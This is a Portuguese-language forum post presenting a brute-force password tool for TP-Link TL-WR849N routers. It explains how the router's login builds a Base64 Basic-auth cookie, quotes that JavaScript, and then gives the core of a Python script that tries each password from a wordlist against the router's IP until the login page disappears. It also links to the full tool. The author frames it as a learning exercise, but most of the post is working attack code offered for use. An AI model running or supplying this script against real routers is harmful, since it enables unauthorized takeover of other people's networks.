Walderlan Sena Posted January 25, 2019 at 06:47 PM Share Posted January 25, 2019 at 06:47 PM Tools Router Brute Ferramenta para executar ataque de força bruta em roteadores TPLink. Download código completo: https://github.com/WalderlanSena/toolsrouterbrute Modelo Roteador Wireless N 300Mbps TL-WR849N Velocidade wireless de 300Mbps ideal para aplicações sensíveis a interrupções, como streaming de vídeo em HD Fácil configuração da criptografia de segurança da rede wireless com um simples toque no botão WPS Controle de banda baseado em IP permite aos administradores determinarem que largura de banda será alocada para cada computador WDS wireless bridge fornece perfeita ponte para expandir a rede wireless. Site: https://www.tp-link.com/br Funcionamento da Autenticação do TP-Link - TL-WR849N Capturando url atual e subscrevendo o valor para o link definido no replace e redirecionando o usuário. Criando uma variável isLocker e atribuindo o valor false a mesma. Deletando o cookie Authorization, vulgo responsável pela a autenticação. var url = window.location.href; if (url.indexOf("tplinklogin.net") >= 0) { url = url.replace("tplinklogin.net", "tplinkwifi.net"); window.location = url; } var isLocked = false; deleteCookie("Authorization"); Função responsável implementar a hash base64, que é utilizada para setar o cookie de autenticação. function Base64Encoding(input) { var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var output = ""; var chr1, chr2, chr3, enc1, enc2, enc3, enc4; var i = 0; input = utf8_encode(input); while (i < input.length) { chr1 = input.charCodeAt(i++); chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++); enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; } output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4); } return output; } Função que monitora o clique de login e captura os dados informado pelo usuário function PCWin(event) { if (event.keyCode == 13) { PCSubWin(); } } function PCSubWin() { // Verifica se o usúario não está bloqueado por alguns segundos if (isLocked == true) { return; } // Criando uma variavel que receberá o base64 referente a autenticação // E criando duas variavels para receber o userName e o password var auth; var password = $("pcPassword").value; var userName = $("userName").value; // Concatena a palavra "Basic" com a hash base64 de userName com ":" e o password auth = "Basic "+Base64Encoding(userName+":"+password); // Atribui o valor ao Cookie do navegador com a chave Authorization e com o auth como conteúdo document.cookie = "Authorization=" + auth; // Recarrega a página window.location.reload(); } Entendendo o funcionamento do nosso script que chamei de trb.py def main(): wordlist = open(sys.argv[3], 'r') count = 0 for i in wordlist: login = str(sys.argv[1]) senha = i.rstrip() auth = "Basic " authEncode = auth+base64.b64encode(login+':'+senha) cookie = {"Authorization": authEncode} response = r.get('http://'+sys.argv[2], cookies=cookie) if response.content.count('id="userName"') != 1: os.system('setterm -cursor on') print('\n\tPassword Found =====> ' + senha) exit(0) else: os.system("clear") splash() count = count + 1 print('\t[ '+ str(count) + ' ] Password not found ===> ' + senha) Primeiramente lemos a wordlist (Lista de palavra possíveis para a senha do roteador.) e o login passados via parâmetros no script. Posteriormente fazendo a encriptação do ambos os dados para base64, montando assim o cookie e enviando para o ip do roteador. Capturamos o retorno e verificamos a palavra chave retornada após o login. O script é bem simples. Servindo para compreender como as ferramentas mais complexas realizam tais operações ! Mas lembre-se, "Hacker e como escrever uma redação, você apenas tem um tema e cada um vai pensar em uma solução diferente." Grande abraço ! Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.